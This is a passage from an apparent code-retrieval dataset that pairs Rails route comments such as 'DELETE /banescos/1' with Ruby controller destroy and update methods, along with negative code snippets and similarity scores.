end\n end\n end", "def update\n puts \"update #{@need.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @need.update(updated_params)\n puts \"brucep update success\"\n format.html { redirect_to new_need_path }\n format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @repuesto_bolet.update(repuesto_bolet_params)\n format.html { redirect_to @repuesto_bolet, notice: 'Repuesto bolet was successfully updated.' }\n format.json { render :show, status: :ok, location: @repuesto_bolet }\n else\n format.html { render :edit }\n format.json { render json: @repuesto_bolet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bahan = Bahan.find(params[:id])\n\n respond_to do |format|\n if @bahan.update_attributes(params[:bahan])\n format.html { redirect_to @bahan, notice: 'Bahan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bahan.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_banesco\n @banesco = Banesco.find(params[:id])\n end", "def update\n respond_to do |format|\n if @blueprint.update(blueprint_params)\n format.html { redirect_to @blueprint, notice: 'Blueprint was successfully updated.' }\n format.json { render :show, status: :ok, location: @blueprint }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @blueprint.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @cabinet = Cabinet.find(params[:id])\n\n respond_to do |format|\n if @cabinet.update_attributes(params[:cabinet])\n format.html { redirect_to @cabinet, notice: 'Cabinet was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cabinet.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @boat_document.update(boat_document_params)\n format.html { redirect_to @boat_document, notice: 'Boat document was successfully updated.' }\n format.json { render :show, status: :ok, location: @boat_document }\n else\n format.html { render :edit }\n format.json { render json: @boat_document.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @biotop.update(biotop_params)\n format.html { redirect_to @biotop, notice: 'Biotop was successfully updated.' }\n format.json { render :show, status: :ok, location: @biotop }\n else\n format.html { render :edit }\n format.json { render json: @biotop.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.70923454", "0.68830425", "0.6814519", "0.6746583", "0.6519432", "0.6507125", "0.64932615", "0.64893126", "0.64887595", "0.6485025", "0.6406043", "0.6370937", "0.6369637", "0.6351071", "0.63508564", "0.63433", "0.6340729", "0.6336247", "0.6336247", "0.6336247", "0.6320072", "0.6316557", "0.63030905", "0.6303074", "0.6297523", "0.62903064", "0.62775385", "0.62733984", "0.6263846", "0.62524927", "0.62379813", "0.62292147", "0.6205207", "0.61969256", "0.6195938", "0.61936975", "0.6188383", "0.6186228", "0.6185864", "0.61764807", "0.61633044", "0.6161031", "0.6160757", "0.61577815", "0.6156664", "0.6150941", "0.61490446", "0.6145152", "0.6138111", "0.6134353", "0.613222", "0.6132162", "0.61311615", "0.6122421", "0.6121449", "0.6121445", "0.6087522", "0.6083929", "0.60838914", "0.60812867", "0.6072499", "0.6072298", "0.6072102", "0.6061877", "0.60578793", "0.60547227", "0.60443866", "0.6038537", "0.60383666", "0.6023991", "0.6023991", "0.6011772", "0.6009565", "0.60070896", "0.6006973", "0.6005168", "0.60046434", "0.60043013", "0.60031295", "0.60031295", "0.60018516", "0.5999001", "0.5990744", "0.5990471", "0.59896237", "0.59888303", "0.59885526", "0.59881806", "0.5985481", "0.5985481", "0.5985481", "0.59852827", "0.59829676", "0.5982836", "0.5982466", "0.59816957", "0.5981673", "0.597563", "0.5965626", "0.5961725" ]
0.630439
22
DELETE /banescos/1 DELETE /banescos/1.json
def destroy # ask_for_permission(@banesco, 'destroy_banesco') and return if current_user.cannot 'destroy_banesco' @banesco.destroy are_saved = update_balances(@banesco) respond_to do |format| if are_saved.all? format.html { redirect_to banescos_url, notice: @banesco.table_name_to_show.concat(' fue eliminado satisfactoriamente.')} format.json { head :no_content } format.js { render :layout => false } else format.html { render :edit } format.json { render json: @banesco.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @banco.destroy\n respond_to do |format|\n format.html { redirect_to bancos_url, notice: 'Banco was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @banco.destroy\n respond_to do |format|\n format.html { redirect_to bancos_url, notice: 'Banco fue eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @sivic_banco.destroy\r\n respond_to do |format|\r\n format.html { redirect_to sivic_bancos_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @socio_dados_banco.destroy\n respond_to do |format|\n format.html { redirect_to socio_dados_bancos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @baton = Baton.find(params[:id])\n @baton.destroy\n\n respond_to do |format|\n format.html { redirect_to batons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @basin = Basin.find(params[:id])\n @basin.destroy\n\n respond_to do |format|\n format.html { redirect_to basins_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bacon.destroy\n respond_to do |format|\n format.html { redirect_to bacons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @banco.destroy\n respond_to do |format|\n format.html { redirect_to(@banco, :notice => t('activerecord.successful.messages.destroyed', :model => @banco.class.model_name.human))}\n format.json { render :json => { :errors => @banco.errors.full_messages }, :status => 422 }\n end\n end", "def destroy\n @bourbon.destroy\n respond_to do |format|\n format.html { redirect_to bourbons_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bico = Bico.find(params[:id])\n @bico.destroy\n\n respond_to do |format|\n format.html { redirect_to bicos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bb = Bb.find(params[:id])\n @bb.destroy\n\n respond_to do |format|\n format.html { redirect_to bbs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bread.destroy\n respond_to do |format|\n format.html { redirect_to breads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @brag = Brag.find(params[:id])\n @brag.destroy\n\n respond_to do |format|\n format.html { redirect_to brags_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cabinet_balancer.destroy\n respond_to do |format|\n format.html { redirect_to cabinet_balancers_path, notice: I18n.t('deleted') }\n format.json { head :no_content }\n end\n end", "def destroy\n @borc = Borc.find(params[:id])\n @borc.destroy\n\n respond_to do |format|\n format.html { redirect_to borcs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @banana = Banana.find(params[:id])\n @banana.destroy\n\n respond_to do |format|\n format.html { redirect_to bananas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @nha_xuat_ban.destroy\n respond_to do |format|\n format.html { redirect_to nha_xuat_bans_url, notice: \"Nha xuat ban was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @ban = Ban.find(params[:id])\n @ban.destroy\n\n respond_to do |format|\n format.html { redirect_to(bans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @nhaxuatban.destroy\n respond_to do |format|\n format.html { redirect_to nhaxuatbans_url, notice: \"Nhaxuatban was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n @Bouquets = Bouquet.find(params[:id])\n @Bouquets.destroy\n\n respond_to do |format|\n format.html { redirect_to bouquets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @caballo = Caballo.find(params[:id])\n @caballo.destroy\n\n respond_to do |format|\n format.html { redirect_to caballos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bordado = Bordado.find(params[:id])\n @bordado.destroy\n\n respond_to do |format|\n format.html { redirect_to bordados_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @boat = Boat.find(params[:id])\n remove_reknro_from_berth\n @boat.destroy\n\n respond_to do |format|\n format.html { redirect_to boats_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bonificacion = Bonificacion.find(params[:id])\n @bonificacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(bonificacions_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @bahan = Bahan.find(params[:id])\n @bahan.destroy\n\n respond_to do |format|\n format.html { redirect_to bahans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @borad = Borad.find(params[:id])\n @borad.destroy\n\n respond_to do |format|\n format.html { redirect_to borads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bonificacion.destroy\n respond_to do |format|\n format.html { redirect_to bonificacions_url, notice: 'Bonificación fue eliminado exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @binh_bau = BinhBau.find(params[:id])\n @binh_bau.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_binh_baus_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bloqueo.destroy\n respond_to do |format|\n format.html { redirect_to bloqueos_url, notice: 'Bloqueo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bb.destroy\n respond_to do |format|\n format.html { redirect_to bbs_url, notice: 'Bb was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bounty.destroy\n respond_to do |format|\n format.html { redirect_to bounties_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @boc.destroy\n respond_to do |format|\n format.html { redirect_to bocs_url, notice: 'Boc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @obra = Obra.find(params[:id])\n @obra.destroy\n\n respond_to do |format|\n format.html { redirect_to obras_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bonificacion.destroy\n respond_to do |format|\n format.html { redirect_to bonificaciones_url, notice: 'Bonificacion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bonificacion.destroy\n respond_to do |format|\n format.html { redirect_to bonificacions_url, notice: 'Bonificacion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bow.destroy\n respond_to do |format|\n format.html { redirect_to bows_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @bill = Bill.find(params[:id])\r\n @bill.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to bills_url, only_path: true }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n # @bill_quorum = BillQuorum.find(params[:id])\n @bill_quorum.destroy\n\n respond_to do |format|\n format.html { redirect_to bill_quorums_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill.destroy\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill.destroy\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_banners_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @banner = Banner.find(params[:id])\n @banner.destroy\n\n respond_to do |format|\n format.html { redirect_to admins_banners_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bicicletum.destroy\n respond_to do |format|\n format.html { redirect_to bicicleta_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @kanban = Kanban.find(params[:id])\n @kanban.destroy\n\n respond_to do |format|\n format.html { redirect_to(kanbans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill = Bill.find(params[:id])\n @bill.destroy\n\n respond_to do |format|\n format.html { redirect_to bills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @brave_burst.destroy\n respond_to do |format|\n format.html { redirect_to brave_bursts_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @banned.destroy\n respond_to do |format|\n format.html { redirect_to banneds_url, notice: 'Banned was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @b = B.find(params[:id])\n @b.destroy\n\n respond_to do |format|\n format.html { redirect_to bs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @boat = Boat.find(params[:id])\n @boat.destroy\n\n respond_to do |format|\n format.html {redirect_to boats_url}\n format.json {head :no_content}\n end\n end", "def destroy\n @bodega.destroy\n respond_to do |format|\n format.html { redirect_to bodegas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @balada.destroy\n respond_to do |format|\n format.html { redirect_to baladas_url, notice: 'Balada was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @banana = Banana.find(params[:id])\n @banana.destroy\n\n respond_to do |format|\n format.html { redirect_to(bananas_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @bijou.destroy\n respond_to do |format|\n format.html { redirect_to bijous_url, notice: 'Bijou was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bay.destroy\n respond_to do |format|\n format.html { redirect_to bays_url, notice: 'La bahía fue eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bill_cargo.destroy\n\n respond_to do |format|\n format.html { redirect_to bill_cargos_url(:bill_id => @bill_cargo.bill_id), :flash => {:success => \"删除成功\"} }\n format.json { head :no_content }\n end\n end", "def destroy\n @compte_bancaire = CompteBancaire.find(params[:id])\n @compte_bancaire.destroy\n\n respond_to do |format|\n format.html { redirect_to compte_bancaires_url }\n format.json { head :ok }\n end\n end", "def destroy\n @bbhk.destroy\n respond_to do |format|\n format.html { redirect_to bbhks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n set_boat\n @boat.destroy\n respond_to do |format|\n format.html { redirect_to harbour_boats_path}\n format.json { head :no_content }\n end\n end", "def destroy\n @bloom = Bloom.find(params[:id])\n @bloom.destroy\n\n respond_to do |format|\n format.html { redirect_to blooms_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @cabinet = Cabinet.find(params[:id])\n @cabinet.destroy\n\n respond_to do |format|\n format.html { redirect_to cabinets_url }\n format.json { head :ok }\n end\n end", "def destroy\n @loadbalancer = Loadbalancer.find(params[:id])\n checkaccountobject(\"loadbalancers\",@loadbalancer)\n @loadbalancer.send_delete\n\n respond_to do |format|\n format.html { redirect_to loadbalancers_url }\n format.json { head :ok }\n end\n end", "def destroy\n @blivot.destroy\n respond_to do |format|\n format.html { redirect_to blivots_url, notice: 'Blivot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @sabio = Sabio.find(params[:id])\n @sabio.destroy\n\n respond_to do |format|\n format.html { redirect_to sabios_url }\n format.json { head :ok }\n end\n end", "def destroy\n @kanban.destroy\n respond_to do |format|\n format.html { redirect_to kanbans_url, notice: 'Kanban was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @climb = Climb.find(params[:id])\n @climb.destroy\n\n respond_to do |format|\n format.html { redirect_to climbs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @brony.destroy\n respond_to do |format|\n format.html { redirect_to bronies_url, notice: 'Brony was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.destroy\n\n respond_to do |format|\n format.html { redirect_to bruschetta_url }\n format.json { head :ok }\n end\n end", "def borrar \n\n fiesta.destroy\n render json: fiesta \n end", "def destroy\n @bodega.destroy\n respond_to do |format|\n format.html { redirect_to bodegas_url, notice: 'Bodega fue eliminada exitosamente' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bicicletum.destroy\n respond_to do |format|\n format.html { redirect_to bicicleta_url, notice: 'Bicicleta eliminada.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bitacora = Bitacora.find(params[:id])\n @bitacora.destroy\n\n respond_to do |format|\n format.html { redirect_to bitacoras_url }\n format.json { head :ok }\n end\n end", "def destroy\n @bingo = Bingo.find(params[:id])\n @bingo.destroy\n\n respond_to do |format|\n format.html { redirect_to(bingos_url) }\n format.xml { head :ok }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @bien.destroy\n respond_to do |format|\n format.html { redirect_to biens_url, notice: 'Bien was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bingo.destroy\n respond_to do |format|\n format.html { redirect_to bingos_url, notice: \"Bingo was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @avalaible_bank.destroy\n respond_to do |format|\n format.html { redirect_to avalaible_banks_url, notice: 'Banco inactivado.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @burrito.destroy\n respond_to do |format|\n format.html { redirect_to burritos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @brohoof = Brohoof.find(params[:id])\n @brohoof.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @bili = Bili.find(params[:id])\n @bili.destroy\n\n respond_to do |format|\n format.html { redirect_to bilis_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bdatabase = Bdatabase.find(params[:id])\n @bdatabase.destroy\n\n respond_to do |format|\n format.html { redirect_to bdatabases_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @brodo.destroy\n respond_to do |format|\n format.html { redirect_to brodos_url, notice: 'Brodo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bocconi.destroy\n respond_to do |format|\n format.html { redirect_to bocconis_url, notice: 'Bocconi was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bla = Bla.find(params[:id])\n @bla.destroy\n\n respond_to do |format|\n format.html { redirect_to blas_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bonu.destroy\n respond_to do |format|\n format.html { redirect_to bonus_url, notice: 'Bonu was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bid = Bid.find(params[:id])\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to bids_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bid = Bid.find(params[:id])\n @bid.destroy\n\n respond_to do |format|\n format.html { redirect_to bids_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bento.destroy\n respond_to do |format|\n format.html { redirect_to bentos_url, notice: 'Bento was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bnpb.destroy\n respond_to do |format|\n format.html { redirect_to bnpbs_url, notice: 'Bnpb was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bac.destroy\n respond_to do |format|\n format.html { redirect_to bacs_url, notice: 'Bac was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @bixo = Bixo.find(params[:id])\n @bixo.destroy\n\n respond_to do |format|\n format.html { redirect_to(bixos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @verbo = Verbo.find(params[:id])\n @verbo.destroy\n\n respond_to do |format|\n format.html { redirect_to verbos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @obra.destroy\n respond_to do |format|\n format.html { redirect_to obras_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @game_ban = GameBan.find(params[:id])\n @game_ban.destroy\n\n respond_to do |format|\n format.html { redirect_to(game_bans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @boat.destroy\n respond_to do |format|\n format.html { redirect_to boats_url, notice: _(\"Boat was successfully destroyed\") }\n format.json { head :no_content }\n end\n end", "def destroy\n @bl = Bl.find(params[:id])\n @bl.destroy\n\n respond_to do |format|\n format.html { redirect_to bls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bloque = Bloque.find(params[:id])\n @bloque.destroy\n\n head :no_content\n end" ]
[ "0.73250484", "0.7219666", "0.7186686", "0.69688016", "0.69528896", "0.6925004", "0.6890132", "0.6866147", "0.6860454", "0.68331116", "0.6820447", "0.68099105", "0.680553", "0.67907786", "0.6767117", "0.67625", "0.6751995", "0.67468935", "0.6722759", "0.6709541", "0.6702559", "0.66928595", "0.6686156", "0.66720337", "0.6667648", "0.6665513", "0.6658682", "0.6637369", "0.66365725", "0.6634856", "0.66227734", "0.6612385", "0.6608338", "0.6608325", "0.66026694", "0.660192", "0.65984166", "0.6591706", "0.6588418", "0.6582133", "0.65720874", "0.65720874", "0.6566941", "0.6566297", "0.6558873", "0.65532297", "0.6550842", "0.6550842", "0.6550842", "0.65503246", "0.65480846", "0.65477335", "0.65370977", "0.6535833", "0.65322936", "0.6531662", "0.65287584", "0.6527467", "0.6527394", "0.6526587", "0.6526565", "0.65255994", "0.6511382", "0.65050215", "0.6502255", "0.64989394", "0.6495393", "0.6494136", "0.64887077", "0.6487379", "0.6474643", "0.64717567", "0.6468096", "0.6466211", "0.6460444", "0.6459908", "0.645633", "0.6456062", "0.64540523", "0.64533955", "0.64515877", "0.6445577", "0.64409184", "0.6438163", "0.643727", "0.6437094", "0.6429842", "0.6427501", "0.6427342", "0.6427342", "0.6424934", "0.64196676", "0.64129245", "0.6395131", "0.6388024", "0.63860637", "0.6383521", "0.6381388", "0.6379189", "0.63787293" ]
0.6484778
70
Use callbacks to share common setup or constraints between actions.
def set_banesco @banesco = Banesco.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def 